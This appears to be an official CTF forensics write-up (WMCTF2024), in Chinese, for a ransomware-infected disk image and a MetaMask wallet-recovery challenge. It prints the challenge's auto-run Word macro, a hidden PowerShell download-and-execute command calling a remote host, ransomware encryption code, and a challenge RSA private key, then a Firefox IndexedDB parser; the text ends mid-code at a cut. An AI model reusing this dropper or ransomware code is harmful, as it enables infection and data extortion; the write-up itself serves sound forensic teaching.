{"id":323,"date":"2024-09-11T09:58:14","date_gmt":"2024-09-11T01:58:14","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=323"},"modified":"2024-09-11T10:04:38","modified_gmt":"2024-09-11T02:04:38","slug":"wmctf2024-forensics-official-writeup","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/323","title":{"rendered":"WMCTF2024 Forensics official writeup"},"content":{"rendered":"<blockquote>\n<p>\u597d\u4e45\u6ca1\u66f4\u65b0\u4e86\uff0c\u8fd9\u6b21WMCTF\u51fa\u4e86\u4e24\u4e2a\u53d6\u8bc1\u9898\uff0c\u53d1\u4e2awp<\/p>\n<\/blockquote>\n<h2>Party Time<\/h2>\n<p>\u6253\u5f00\u78c1\u76d8\u955c\u50cf\u53ef\u4ee5\u53d1\u73b0\u684c\u9762\u4e0a\u7684Party invitation.docm\uff0c\u662f\u4e00\u4e2a\u5b8f\u6587\u6863\uff0c\u76f4\u63a5\u4f7f\u7528oletools<\/p>\n<pre class=\"prettyprint linenums\" ><code>olevba Party\\ invitation.docm<\/code><\/pre>\n<p>\u5373\u53ef\u5f97\u5230\u5b8f\u4ee3\u7801<\/p>\n<pre class=\"prettyprint linenums\" ><code>Private Sub Document_Open()\n    Dim p As DocumentProperty\n    Dim decoded As String\n    Dim byteArray() As Byte\n    For Each p In ActiveDocument.BuiltInDocumentProperties\n        If p.Name = &quot;Comments&quot; Then\n            byteArray = test(p.Value)\n            decoded = &quot;&quot;\n            For i = LBound(byteArray) To UBound(byteArray)\n                decoded = decoded &amp; Chr(byteArray(i) Xor &amp;H64)\n            Next i\n            Shell (decoded)\n            End If\n    Next\nEnd Sub\n\nFunction test(hexString As String) As Byte()\n    Dim lenHex As Integer\n    lenHex = Len(hexString)\n    Dim byteArray() As Byte\n    ReDim byteArray((lenHex \\ 2) - 1)\n    Dim i As Integer\n    Dim byteValue As Integer\n\n    For i = 0 To lenHex - 1 Step 2\n        byteValue = Val(&quot;&amp;H&quot; &amp; Mid(hexString, i + 1, 2))\n        byteArray(i \\ 2) = byteValue\n    Next i\n\n    test = byteArray\nEnd Function<\/code><\/pre>\n<p>\u9605\u8bfb\u540e\u5f97\u77e5\u662f\u4ece\u6587\u6863\u7684comments\u5c5e\u6027\u4e2d\u63d0\u53d6\u6570\u636e\u7136\u540e\u4e0e0x64\u5f02\u6216\uff0c\u8fd9\u91cc\u53ef\u4ee5\u4f7f\u7528exiftool<\/p>\n<p>\u5f97\u5230\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>Description                     : 140b130116170c0108084a011c01444913440c0d0000010a444c0a0113490b060e01071044371d171001094a2a01104a33010627080d010a104d4a200b130a080b0500220d08014c430c1010145e4b4b555d564a55525c4a5654534a555e5c545c544b130d0a000b13173b1114000510013b56545650545c55574a011c01434840010a125e100109144f434b130d0a000b13173b1114000510013b56545650545c55574a011c01434d5f37100516104934160b070117174440010a125e10010914434b130d0a000b13173b1114000510013b56545650545c55574a011c0143<\/code><\/pre>\n<p>\u7136\u540e\u89e3\u5bc6\u5f97\u5230payload\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66d68622d9c307b7e90be825.png\" alt=\"\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code>powershell.exe -w hidden (new-object System.Net.WebClient).DownloadFile(&#039;http:\/\/192.168.207.1:8080\/windows_update_20240813.exe&#039;,$env:temp+&#039;\/windows_update_20240813.exe&#039;);Start-Process $env:temp&#039;\/windows_update_20240813.exe&#039;<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u51fa\u662f\u4e0b\u8f7d\u4e86windows_update_20240813.exe\u653e\u5728\u4e86$env:temp\u4e0b\u5e76\u6267\u884c\uff0c\u5728\u8fd9\u91cc\u5c31\u662f\/AppData\/Local\/Temp\/windows_update_20240813.exe<\/p>\n<p>\u5c06\u5176\u63d0\u53d6\u51fa\u6765\u5e76\u8fdb\u884c\u9006\u5411\uff0c\u5177\u4f53\u8fc7\u7a0b\u7701\u7565\uff0c\u5728\u8fd9\u91cc\u76f4\u63a5\u7ed9\u51fa\u52a0\u5bc6\u90e8\u5206\u6e90\u7801\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>func encryptAndOverwriteFile(filename string, pub *rsa.PublicKey, deviceKey []byte) error {\n    \/\/ Read the original file content\n    content, err := ioutil.ReadFile(filename)\n    if err != nil {\n        return err\n    }\n\n    \/\/ Encrypt the content\n    hash := sha256.New()\n    encryptedData, err := rsa.EncryptOAEP(hash, rand.Reader, pub, content, deviceKey)\n    if err != nil {\n        return err\n    }\n\n    \/\/ Overwrite the original file with encrypted content\n    err = ioutil.WriteFile(filename, encryptedData, 0644)\n    if err != nil {\n        return err\n    }\n\n    return nil\n}<\/code><\/pre>\n<p>\u800crsa\u7684\u516c\u94a5\u548c\u79c1\u94a5\u90fd\u5b58\u50a8\u5728\u4e86\u6ce8\u518c\u8868\u91cc\uff0cdevicekey\u5219\u662fhostname\u7684sha256<\/p>\n<pre class=\"prettyprint linenums\" ><code>func storeRsaKeyInRegistry(PrivateKey []byte, PublicKey []byte) error {\n    key, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\\nothing`, registry.SET_VALUE)\n    if err != nil {\n        return err\n    }\n    defer key.Close()\n\n    err = key.SetBinaryValue(&quot;PrivateKey&quot;, PrivateKey)\n    if err != nil {\n        return err\n    }\n    err = key.SetBinaryValue(&quot;PublicKey&quot;, PublicKey)\n    if err != nil {\n        return err\n    }\n    return nil\n}\n\nfunc getDeviceKey() ([]byte, error) {\n    hostname, err := os.Hostname()\n    if err != nil {\n        return nil, err\n    }\n\n    deviceKey := sha256.Sum256([]byte(hostname))\n    if err != nil {\n        return nil, err\n    }\n\n    return deviceKey[:], nil\n}<\/code><\/pre>\n<p>\u4e8e\u662f\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528volatility\u5bf9\u6ce8\u518c\u8868\u8fdb\u884c\u5206\u6790\uff0c\u63d0\u53d6\u5176\u4e2d\u7684rsa\u79c1\u94a5<\/p>\n<pre class=\"prettyprint linenums\" ><code>python2 vol.py -f ..\/..\/mem --profile=Win10x64_19041 printkey -K &quot;SOFTWARE\\nothing&quot;<\/code><\/pre>\n<p>\u5f97\u5230\u79c1\u94a5<\/p>\n<pre class=\"prettyprint linenums\" ><code>-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA0WudoQ2mgYalJ2LKLzxeqVydTdteAQkdllvhu\/jh7+pCTvUJ\nuNMJEdSFphVAIp53BBuGVp0xwSav8hbffHX+Fdn7ZRN0YecgDtPA3Pd3y9jcutVZ\nyes8Wjbpt6qTD+ITl1nPsKqsB2Ry1BhFYWBC8+2YniKQqb4UE3Kr7LE78Tb8ABp9\nepe4AMguNHlgdC97DpJ5R7\/esRjMey\/NWdFXN1LsQYCn9\/UGwVhLG3gmPn200XE6\nKLjXRijrN23lwpDw88J7pfJCbfh\/jgpoe91Rmq\/ADs4mwhXcNRafmsNixCj\/Zwcr\n3ANPuTNOKmH6IaPWg410O+1q2noV67cLi\/NrIQIDAQABAoIBAQCuljT3S1YArauJ\nxkYgUwfn0Zoiijs4Sc0syLTL7JUPWhClmorcVrM89hvlddneApXeCsRX+Py9te8A\nuCjgrc2BkhSPE0T3SaPkOIyUqopomwaJi8wrFb1eyGDYCZBIsYT7rJgFBIQeNZO1\nVfahU4r9qJqPWumXWSuLexHxZWA\/msByzrijZIP5ufeuIzCNLV6yOPOhSMIHCA3s\nhOjOQsW76q+fVIGAR8qHFj\/Ee02ta4engXEhBWa5Y7pLqtihHdZIcn0KRxx3+Ev5\nkJhBMIPazdneQ\/KiP5wzkdSYoTf9+hLjYGQu6A3T2GqzrOvlsd6gNfq\/WlrKzIa6\nP7wqXhhBAoGBANmHWpnPUZvR0LXLMi8n+zE7FWhtVI5eZltpVou1XefYt6\/LZLv9\n\/pSQCZRRwqUQTjFWOKcg+H2rRdKVc7h\/fySXDlmUkE9Ep4REqAAMEGRQKRUJrq2D\nKiNq7E08dZpoAiaH4PaZKMsuubxpJX3WSTkLVXnusN0TObCibjnKk2mdAoGBAPZ1\nJ6roXjv6f4N3+i\/aUUh\/UaGlJuhqyi8ALiI7+9dIVrKyU8ULjjnlb3F8Mg4n8FQb\nAxTAnN9HvDBYLwwWo48yD7zzNPlxwF3rEiUuZ8BjUGMuN1QIPT0wSDvKjOdOoQFB\nHkNu\/Ysjfp4paET0foYRzu62eAzh9mAegM9PHKJVAoGASudf3EzWViiGjML+cdx7\nk7U7puzWy\/tXlayNH6iBQH+QqNkJw+4vRqrekZMhykL2GekNswcYafWbImtSILrO\nZiQZzeDpXFJQuKwHiZSd5Fzx+IuP+bGLxgxgeCwUdunPq8LoRSHyORzK2kT+ovkx\n15G+ijEV99pR6C\/WctH9tsUCgYAVlP7LRZvy7qW58oizJhAWJCgW2qqEkc1wvjhM\nASq1mH0XGuyhBbkHsuLGclTDzpWKF+92IsPZ\/aMqLJ66FUVvZbfhGP8blO1+i\/ZD\n0UN+onPIq6RmtG4AbLj2m28pVkZdIMGwsAh95bbRzNh3qV1nCiov10S+BA+aLTGk\ndc4RHQKBgBPT6\/JmHGe6MqbEfnu7H0FyubseQ5B5bsWrw9xX0gVwjDV6iiTnqLT0\nlD5qVyb4nGAcaqn7Wm3Hoykom6x7CnueBHY7HHGq21bvTOQv\/aC59mZxpPaDEMUR\neROsDq1jsfYVTBwpUDoWP7yRAv5tiUHU0BtjwlozyfvgJOIpjTMg\n-----END RSA PRIVATE KEY-----<\/code><\/pre>\n<p>\u8fd8\u6709\u4e3b\u673a\u540d\uff0c\u627e\u7684\u65b9\u5f0f\u5f88\u591a\uff0c\u6bd4\u5982\u8bf4\u770b\u73af\u5883\u53d8\u91cf\uff0c\u5f97\u5230<\/p>\n<pre class=\"prettyprint linenums\" ><code>DESKTOP-8KRF7H0<\/code><\/pre>\n<p>\u6839\u636e\u8fd9\u4e9b\u7f16\u5199\u89e3\u5bc6\u4ee3\u7801\u89e3\u5bc6\u684c\u9762\u4e0a\u7684flag.rar\u5373\u53ef<\/p>\n<pre class=\"prettyprint linenums\" ><code>package main\n\nimport (\n    &quot;crypto\/rand&quot;\n    &quot;crypto\/rsa&quot;\n    &quot;crypto\/sha256&quot;\n    &quot;crypto\/x509&quot;\n    &quot;encoding\/hex&quot;\n    &quot;encoding\/pem&quot;\n    &quot;flag&quot;\n    &quot;fmt&quot;\n    &quot;io\/ioutil&quot;\n    &quot;os&quot;\n)\n\n\/\/ Function to load RSA keys from files\nfunc loadRSAKeys() (*rsa.PrivateKey, error) {\n    privateKeyPEM, err := ioutil.ReadFile(&quot;private_key.pem&quot;)\n    if err != nil {\n        return nil, err\n    }\n    block, _ := pem.Decode(privateKeyPEM)\n    if block == nil || block.Type != &quot;RSA PRIVATE KEY&quot; {\n        return nil, fmt.Errorf(&quot;failed to decode PEM block containing private key&quot;)\n    }\n\n    privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)\n    if err != nil {\n        return nil, err\n    }\n\n    return privateKey, nil\n}\n\n\/\/ Function to decrypt data using RSA and device key\nfunc decrypt(encryptedData []byte, privateKey *rsa.PrivateKey, deviceKey []byte) ([]byte, error) {\n    hash := sha256.New()\n    decryptedData, err := rsa.DecryptOAEP(hash, rand.Reader, privateKey, encryptedData, deviceKey)\n    if err != nil {\n        return nil, err\n    }\n    return decryptedData, nil\n}\n\nfunc printHelp() {\n    fmt.Println(&quot;Usage:&quot;)\n    fmt.Println(&quot;  -help                Show this help message&quot;)\n    fmt.Println(&quot;  -decrypt &lt;file&gt;      Decrypt the specified file (requires device key)&quot;)\n    fmt.Println(&quot;  -key &lt;key&gt;           Device key for decryption&quot;)\n}\nfunc main() {\n    help := flag.Bool(&quot;help&quot;, false, &quot;Show help message&quot;)\n    decryptFile := flag.String(&quot;decrypt&quot;, &quot;&quot;, &quot;File to decrypt&quot;)\n    key := flag.String(&quot;key&quot;, &quot;&quot;, &quot;Device key for decryption&quot;)\n    flag.Parse()\n\n    if *help {\n        printHelp()\n        return\n    }\n\n    if *decryptFile == &quot;&quot; || *key == &quot;&quot; {\n        printHelp()\n        return\n    }\n\n    if _, err := os.Stat(&quot;private_key.pem&quot;); os.IsNotExist(err) {\n        fmt.Println(&quot;no private key find!&quot;)\n        return\n    }\n\n    privateKey, err := loadRSAKeys()\n    if err != nil {\n        fmt.Println(&quot;Error loading RSA keys:&quot;, err)\n        return\n    }\n\n    if *decryptFile != &quot;&quot; {\n        data, err := ioutil.ReadFile(*decryptFile)\n        if err != nil {\n            fmt.Println(&quot;Error reading file:&quot;, err)\n            return\n        }\n\n        deviceKey, err := hex.DecodeString(*key)\n        if err != nil {\n            fmt.Println(&quot;Error decoding device key:&quot;, err)\n            return\n        }\n\n        decryptedData, err := decrypt(data, privateKey, deviceKey)\n        if err != nil {\n            fmt.Println(&quot;Error decrypting data:&quot;, err)\n            return\n        }\n\n        err = ioutil.WriteFile(&quot;decrypted_&quot;+*decryptFile, decryptedData, 0644)\n        if err != nil {\n            fmt.Println(&quot;Error writing decrypted file:&quot;, err)\n            return\n        }\n\n        fmt.Println(&quot;File decrypted successfully!&quot;)\n    }\n}<\/code><\/pre>\n<h2>metasecret<\/h2>\n<p>ftk imager\u6253\u5f00\u955c\u50cf\u6587\u4ef6\u8fdb\u884c\u5206\u6790\uff0c\u53ef\u4ee5\u53d1\u73b0documents\u6587\u4ef6\u5939\u91cc\u7684passwords.txt\u4ee5\u53caappdata\/roaming\u4e2d\u7684\u706b\u72d0\u6d4f\u89c8\u5668\u6570\u636e\uff0c\u518d\u7531\u9898\u76ee\u540d\u548c\u9898\u76ee\u63cf\u8ff0\u60f3\u5230\u52a0\u5bc6\u8d27\u5e01\u76f8\u5173\uff0c\u5373metamask\u63d2\u4ef6\uff0c\u4e8e\u662f\u53ef\u4ee5\u5728<strong>~\/AppData\/Roaming\/Mozilla\/Firefox\/Profiles\/jawk8d8g.default-release\/storage\/default\/<\/strong>\u4e0b\u627e\u5230\u5b89\u88c5\u7684\u6240\u6709\u63d2\u4ef6\uff0c\u7ecf\u8fc7\u7b80\u5355\u7684\u5c1d\u8bd5\u5373\u53ef\u786e\u8ba4\u76ee\u6807\u63d2\u4ef6id\u662f<strong>654e5b4f-4a65-4e1a-9b58-51733b6a2883<\/strong>\uff0c\u8fdb\u800c\u53ef\u4ee5\u627e\u5230\u5176idb\u6587\u4ef6\uff0c\u4f4d\u7f6e\u5728<strong>moz-extension+++654e5b4f-4a65-4e1a-9b58-51733b6a2883^userContextId=4294967295\/idb\/3647222921wleabcEoxlt-eengsairo.files\/492<\/strong><\/p>\n<p>\u4f46\u662ffirefox\u7684idb\u6587\u4ef6\u662f\u7ecf\u8fc7\u4e86snappy\u538b\u7f29\u7684\uff0c\u9700\u8981\u89e3\u538b\uff0c\u76f8\u5173\u4ee3\u7801\u53ef\u4ee5\u5728\u7f51\u4e0a\u627e\u5230\uff0c\u4f8b\u5982\u8fd9\u4e2a<\/p>\n<pre class=\"prettyprint linenums\" ><code>https:\/\/github.com\/JesseBusman\/FirefoxMetamaskWalletSeedRecovery<\/code><\/pre>\n<p>\u5bf9\u5176\u7a0d\u4f5c\u4fee\u6539\uff0c\u8ba9\u811a\u672c\u76f4\u63a5\u89e3\u5bc6\u6574\u4e2a\u6587\u4ef6\uff0c\u8981\u7528\u7684\u65f6\u5019\u76f4\u63a5\u4fee\u6539\u6700\u4e0b\u9762\u7684\u6587\u4ef6\u540d<\/p>\n<pre class=\"prettyprint linenums\" ><code>import cramjam\nimport typing as ty\nimport collections.abc as cabc\nimport sqlite3\nimport snappy\nimport io\nimport sys\nimport glob\nimport pathlib\nimport re\nimport os\nimport json\n\n&quot;&quot;&quot;A SpiderMonkey StructuredClone object reader for Python.&quot;&quot;&quot;\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n# Credits:\n#   \u2013 Source was havily inspired by\n#     https:\/\/dxr.mozilla.org\/mozilla-central\/rev\/3bc0d683a41cb63c83cb115d1b6a85d50013d59e\/js\/src\/vm\/StructuredClone.cpp\n#     and many helpful comments were copied as-is.\n#   \u2013 Python source code by Alexander Schlarb, 2020.\n\nimport collections\nimport datetime\nimport enum\nimport io\nimport re\nimport struct\nimport typing\n\nclass ParseError(ValueError):\n    pass\n\nclass InvalidHeaderError(ParseError):\n    pass\n\nclass JSInt32(int):\n    &quot;&quot;&quot;Type to represent the standard 32-bit signed integer&quot;&quot;&quot;\n\n    def __init__(self, *a):\n        if not (-0x80000000 &lt;= self &lt;= 0x7FFFFFFF):\n            raise TypeError(&quot;JavaScript integers are signed 32-bit values&quot;)\n\nclass JSBigInt(int):\n    &quot;&quot;&quot;Type to represent the arbitrary precision JavaScript \u201cBigInt\u201d type&quot;&quot;&quot;\n    pass\n\nclass JSBigIntObj(JSBigInt):\n    &quot;&quot;&quot;Type to represent the JavaScript BigInt object type (vs the primitive type)&quot;&quot;&quot;\n    pass\n\nclass JSBooleanObj(int):\n    &quot;&quot;&quot;Type to represent JavaScript boolean \u201cobjects\u201d (vs the primitive type)\n\n    Note: This derives from `int`, since one cannot directly derive from `bool`.&quot;&quot;&quot;\n    __slots__ = ()\n\n    def __new__(self, inner: object = False):\n        return int.__new__(bool(inner))\n\n    def __and__(self, other: bool) -&gt; bool:\n        return bool(self) &amp; other\n\n    def __or__(self, other: bool) -&gt; bool:\n        return bool(self) | other\n\n    def __xor__(self, other: bool) -&gt; bool:\n        return bool(self) ^ other\n\n    def __rand__(self, other: bool) -&gt; bool:\n        return other &amp; bool(self)\n\n    def __ror__(self, other: bool) -&gt; bool:\n        return other | bool(self)\n\n    def __rxor__(self, other: bool) -&gt; bool:\n        return other ^ bool(self)\n\n    def __str__(self, other: bool) -&gt; str:\n        return str(bool(self))\n\nclass _HashableContainer:\n    inner: object\n\n    def __init__(self, inner: object):\n        self.inner = inner\n\n    def __hash__(self):\n        return id(self.inner)\n\n    def __repr__(self):\n        return repr(self.inner)\n\n    def __str__(self):\n        return str(self.inner)\n\nclass JSMapObj(collections.UserDict):\n    &quot;&quot;&quot;JavaScript compatible Map object that allows arbitrary values for the key.&quot;&quot;&quot;\n    @staticmethod\n    def key_to_hashable(key: object) -&gt; collections.abc.Hashable:\n        try:\n            hash(key)\n        except TypeError:\n            return _HashableContainer(key)\n        else:\n            return key\n\n    def __contains__(self, key: object) -&gt; bool:\n        return super().__contains__(self.key_to_hashable(key))\n\n    def __delitem__(self, key: object) -&gt; None:\n        return super().__delitem__(self.key_to_hashable(key))\n\n    def __getitem__(self, key: object) -&gt; object:\n        return super().__getitem__(self.key_to_hashable(key))\n\n    def __iter__(self) -&gt; typing.Iterator[object]:\n        for key in super().__iter__():\n            if isinstance(key, _HashableContainer):\n                key = key.inner\n            yield key\n\n    def __setitem__(self, key: object, value: object):\n        super().__setitem__(self.key_to_hashable(key), value)\n\nclass JSNumberObj(float):\n    &quot;&quot;&quot;Type to represent JavaScript number\/float \u201cobjects\u201d (vs the primitive type)&quot;&quot;&quot;\n    pass\n\nclass JSRegExpObj:\n    expr:  str\n    flags: &#039;RegExpFlag&#039;\n\n    def __init__(self, expr: str, flags: &#039;RegExpFlag&#039;):\n        self.expr = expr\n        self.flags = flags\n\n    @classmethod\n    def from_re(cls, regex: re.Pattern) -&gt; &#039;JSRegExpObj&#039;:\n        flags = RegExpFlag.GLOBAL\n        if regex.flags | re.DOTALL:\n            pass  # Not supported in current (2020-01) version of SpiderMonkey\n        if regex.flags | re.IGNORECASE:\n            flags |= RegExpFlag.IGNORE_CASE\n        if regex.flags | re.MULTILINE:\n            flags |= RegExpFlag.MULTILINE\n        return cls(regex.pattern, flags)\n\n    def to_re(self) -&gt; re.Pattern:\n        flags = 0\n        if self.flags | RegExpFlag.IGNORE_CASE:\n            flags |= re.IGNORECASE\n        if self.flags | RegExpFlag.GLOBAL:\n            pass  # Matching type depends on matching function used in Python\n        if self.flags | RegExpFlag.MULTILINE:\n            flags |= re.MULTILINE\n        if self.flags | RegExpFlag.UNICODE:\n            pass  # XXX\n        return re.compile(self.expr, flags)\n\nclass JSSavedFrame:\n    def __init__(self):\n        raise NotImplementedError()\n\nclass JSSetObj:\n    def __init__(self):\n        raise NotImplementedError()\n\nclass JSStringObj(str):\n    &quot;&quot;&quot;Type to represent JavaScript string \u201cobjects\u201d (vs the primitive type)&quot;&quot;&quot;\n    pass\n\nclass DataType(enum.IntEnum):\n    # Special values\n    FLOAT_MAX = 0xFFF00000\n    HEADER = 0xFFF10000\n\n    # Basic JavaScript types\n    NULL = 0xFFFF0000\n    UNDEFINED = 0xFFFF0001\n    BOOLEAN = 0xFFFF0002\n    INT32 = 0xFFFF0003\n    STRING = 0xFFFF0004\n\n    # Extended JavaScript types\n    DATE_OBJECT = 0xFFFF0005\n    REGEXP_OBJECT = 0xFFFF0006\n    ARRAY_OBJECT = 0xFFFF0007\n    OBJECT_OBJECT = 0xFFFF0008\n    ARRAY_BUFFER_OBJECT = 0xFFFF0009\n    BOOLEAN_OBJECT = 0xFFFF000A\n    STRING_OBJECT = 0xFFFF000B\n    NUMBER_OBJECT = 0xFFFF000C\n    BACK_REFERENCE_OBJECT = 0xFFFF000D\n    # DO_NOT_USE_1\n    # DO_NOT_USE_2\n    TYPED_ARRAY_OBJECT = 0xFFFF0010\n    MAP_OBJECT = 0xFFFF0011\n    SET_OBJECT = 0xFFFF0012\n    END_OF_KEYS = 0xFFFF0013\n    # DO_NOT_USE_3\n    DATA_VIEW_OBJECT = 0xFFFF0015\n    SAVED_FRAME_OBJECT = 0xFFFF0016  # ?\n\n    # Principals ?\n    JSPRINCIPALS = 0xFFFF0017\n    NULL_JSPRINCIPALS = 0xFFFF0018\n    RECONSTRUCTED_SAVED_FRAME_PRINCIPALS_IS_SYSTEM = 0xFFFF0019\n    RECONSTRUCTED_SAVED_FRAME_PRINCIPALS_IS_NOT_SYSTEM = 0xFFFF001A\n\n    # ?\n    SHARED_ARRAY_BUFFER_OBJECT = 0xFFFF001B\n    SHARED_WASM_MEMORY_OBJECT = 0xFFFF001C\n\n    # Arbitrarily sized integers\n    BIGINT = 0xFFFF001D\n    BIGINT_OBJECT = 0xFFFF001E\n\n    # Older typed arrays\n    TYPED_ARRAY_V1_MIN = 0xFFFF0100\n    TYPED_ARRAY_V1_INT8 = TYPED_ARRAY_V1_MIN + 0\n    TYPED_ARRAY_V1_UINT8 = TYPED_ARRAY_V1_MIN + 1\n    TYPED_ARRAY_V1_INT16 = TYPED_ARRAY_V1_MIN + 2\n    TYPED_ARRAY_V1_UINT16 = TYPED_ARRAY_V1_MIN + 3\n    TYPED_ARRAY_V1_INT32 = TYPED_ARRAY_V1_MIN + 4\n    TYPED_ARRAY_V1_UINT32 = TYPED_ARRAY_V1_MIN + 5\n    TYPED_ARRAY_V1_FLOAT32 = TYPED_ARRAY_V1_MIN + 6\n    TYPED_ARRAY_V1_FLOAT64 = TYPED_ARRAY_V1_MIN + 7\n    TYPED_ARRAY_V1_UINT8_CLAMPED = TYPED_ARRAY_V1_MIN + 8\n    TYPED_ARRAY_V1_MAX = TYPED_ARRAY_V1_UINT8_CLAMPED\n\n    # Transfer-only tags (not used for persistent data)\n    TRANSFER_MAP_HEADER = 0xFFFF0200\n    TRANSFER_MAP_PENDING_ENTRY = 0xFFFF0201\n    TRANSFER_MAP_ARRAY_BUFFER = 0xFFFF0202\n    TRANSFER_MAP_STORED_ARRAY_BUFFER = 0xFFFF0203\n\nclass RegExpFlag(enum.IntFlag):\n    IGNORE_CASE = 0b00001\n    GLOBAL = 0b00010\n    MULTILINE = 0b00100\n    UNICODE = 0b01000\n\nclass Scope(enum.IntEnum):\n    SAME_PROCESS = 1\n    DIFFERENT_PROCESS = 2\n    DIFFERENT_PROCESS_FOR_INDEX_DB = 3\n    UNASSIGNED = 4\n    UNKNOWN_DESTINATION = 5\n\nclass _Input:\n    stream: io.BufferedReader\n\n    def __init__(self, stream: io.BufferedReader):\n        self.stream = stream\n\n    def peek(self) -&gt; int:\n        try:\n            return struct.unpack_from(&quot;&lt;q&quot;, self.stream.peek(8))[0]\n        except struct.error:\n            raise EOFError() from None\n\n    def peek_pair(self) -&gt; (int, int):\n        v = self.peek()\n        return ((v &gt;&gt; 32) &amp; 0xFFFFFFFF, (v &gt;&gt; 0) &amp; 0xFFFFFFFF)\n\n    def drop_padding(self, read_length):\n        length = 8 - ((read_length - 1) % 8) - 1\n        result = self.stream.read(length)\n        if len(result) &lt; length:\n            raise EOFError()\n\n    def read(self, fmt=&quot;q&quot;):\n        try:\n            return struct.unpack(&quot;&lt;&quot; + fmt, self.stream.read(8))[0]\n        except struct.error:\n            raise EOFError() from None\n\n    def read_bytes(self, length: int) -&gt; bytes:\n        result = self.stream.read(length)\n        if len(result) &lt; length:\n            raise EOFError()\n        self.drop_padding(length)\n        return result\n\n    def read_pair(self) -&gt; (int, int):\n        v = self.read()\n        return ((v &gt;&gt; 32) &amp; 0xFFFFFFFF, (v &gt;&gt; 0) &amp; 0xFFFFFFFF)\n\n    def read_double(self) -&gt; float:\n        return self.read(&quot;d&quot;)\n\nclass Reader:\n    all_objs: typing.List[typing.Union[list, dict]]\n    compat:   bool\n    input:    _Input\n    objs:     typing.List[typing.Union[list, dict]]\n\n    def __init__(self, stream: io.BufferedReader):\n        self.input = _Input(stream)\n\n        self.all_objs = []\n        self.compat = False\n        self.objs = []\n\n    def read(self):\n        self.read_header()\n        self.read_transfer_map()\n\n        # Start out by reading in the main object and pushing it onto the &#039;objs&#039;\n        # stack. The data related to this object and its descendants extends\n        # from here to the SCTAG_END_OF_KEYS at the end of the stream.\n        add_obj, result = self.start_read()\n        if add_obj:\n            self.all_objs.append(result)\n\n        # Stop when the stack shows that all objects have been read.\n        while len(self.objs) &gt; 0:\n            # What happens depends on the top obj on the objs stack.\n            obj = self.objs[-1]\n\n            tag, data = self.input.peek_pair()\n            if tag == DataType.END_OF_KEYS:\n                # Pop the current obj off the stack, since we are done with it\n                # and its children.\n                self.input.read_pair()\n                self.objs.pop()\n                continue\n\n            # The input stream contains a sequence of &quot;child&quot; values, whose\n            # interpretation depends on the type of obj. These values can be\n            # anything.\n            #\n            # startRead() will allocate the (empty) object, but note that when\n            # startRead() returns, &#039;key&#039; is not yet initialized with any of its\n            # properties. Those will be filled in by returning to the head of\n            # this loop, processing the first child obj, and continuing until\n            # all children have been fully created.\n            #\n            # Note that this means the ordering in the stream is a little funky\n            # for things like Map. See the comment above startWrite() for an\n            # example.\n            add_obj, key = self.start_read()\n            if add_obj:\n                self.all_objs.append(key)\n\n            # Backwards compatibility: Null formerly indicated the end of\n            # object properties.\n            if key is None and not isinstance(obj, (JSMapObj, JSSetObj, JSSavedFrame)):\n                self.objs.pop()\n                continue\n\n            # Set object: the values between obj header (from startRead()) and\n            # DataType.END_OF_KEYS are interpreted as values to add to the set.\n            if isinstance(obj, JSSetObj):\n                obj.add(key)\n\n            if isinstance(obj, JSSavedFrame):\n                raise NotImplementedError()  # XXX: TODO\n\n            # Everything else uses a series of key, value, key, value, \u2026 objects.\n            add_obj, val = self.start_read()\n            if add_obj:\n                self.all_objs.append(val)\n\n            # For a Map, store those &lt;key,value&gt; pairs in the contained map\n            # data structure.\n            if isinstance(obj, JSMapObj):\n                obj[key] = value\n            else:\n                if not isinstance(key, (str, int)):\n                    # continue\n                    raise ParseError(\n                        &quot;JavaScript object key must be a string or integer&quot;)\n\n                if isinstance(obj, list):\n                    # Ignore object properties on array\n                    if not isinstance(key, int) or key &lt; 0:\n                        continue\n\n                    # Extend list with extra slots if needed\n                    while key &gt;= len(obj):\n                        obj.append(NotImplemented)\n\n                obj[key] = val\n\n        self.all_objs.clear()\n\n        return result\n\n    def read_header(self) -&gt; None:\n        tag, data = self.input.peek_pair()\n\n        scope: int\n        if tag == DataType.HEADER:\n            tag, data = self.input.read_pair()\n\n            if data == 0:\n                data = int(Scope.SAME_PROCESS)\n\n            scope = data\n        else:  # Old on-disk format\n            scope = int(Scope.DIFFERENT_PROCESS_FOR_INDEX_DB)\n\n        if scope == Scope.DIFFERENT_PROCESS:\n            self.compat = False\n        elif scope == Scope.DIFFERENT_PROCESS_FOR_INDEX_DB:\n            self.compat = True\n        elif scope == Scope.SAME_PROCESS:\n            raise InvalidHeaderError(&quot;Can only parse persistent data&quot;)\n        else:\n            raise InvalidHeaderError(&quot;Invalid scope&quot;)\n\n    def read_transfer_map(self) -&gt; None:\n        tag, data = self.input.peek_pair()\n        if tag == DataType.TRANSFER_MAP_HEADER:\n            raise InvalidHeaderError(\n                &quot;Transfer maps are not allowed for persistent data&quot;)\n\n    def read_bigint(self, info: int) -&gt; JSBigInt:\n        length = info &amp; 0x7FFFFFFF\n        negative = bool(info &amp; 0x80000000)\n        raise NotImplementedError()\n\n    def read_string(self, info: int) -&gt; str:\n        length = info &amp; 0x7FFFFFFF\n        latin1 = bool(info &amp; 0x80000000)\n\n        if latin1:\n            return self.input.read_bytes(length).decode(&quot;latin-1&quot;)\n        else:\n            return self.input.read_bytes(length * 2).decode(&quot;utf-16le&quot;)\n\n    def start_read(self):\n        tag, data = self.input.read_pair()\n\n        if tag == DataType.NULL:\n            return False, None\n\n        elif tag == DataType.UNDEFINED:\n            return False, NotImplemented\n\n        elif tag == DataType.INT32:\n            if data &gt; 0x7FFFFFFF:\n                data -= 0x80000000\n            return False, JSInt32(data)\n\n        elif tag == DataType.BOOLEAN:\n            return False, bool(data)\n        elif tag == DataType.BOOLEAN_OBJECT:\n            return True, JSBooleanObj(data)\n\n        elif tag == 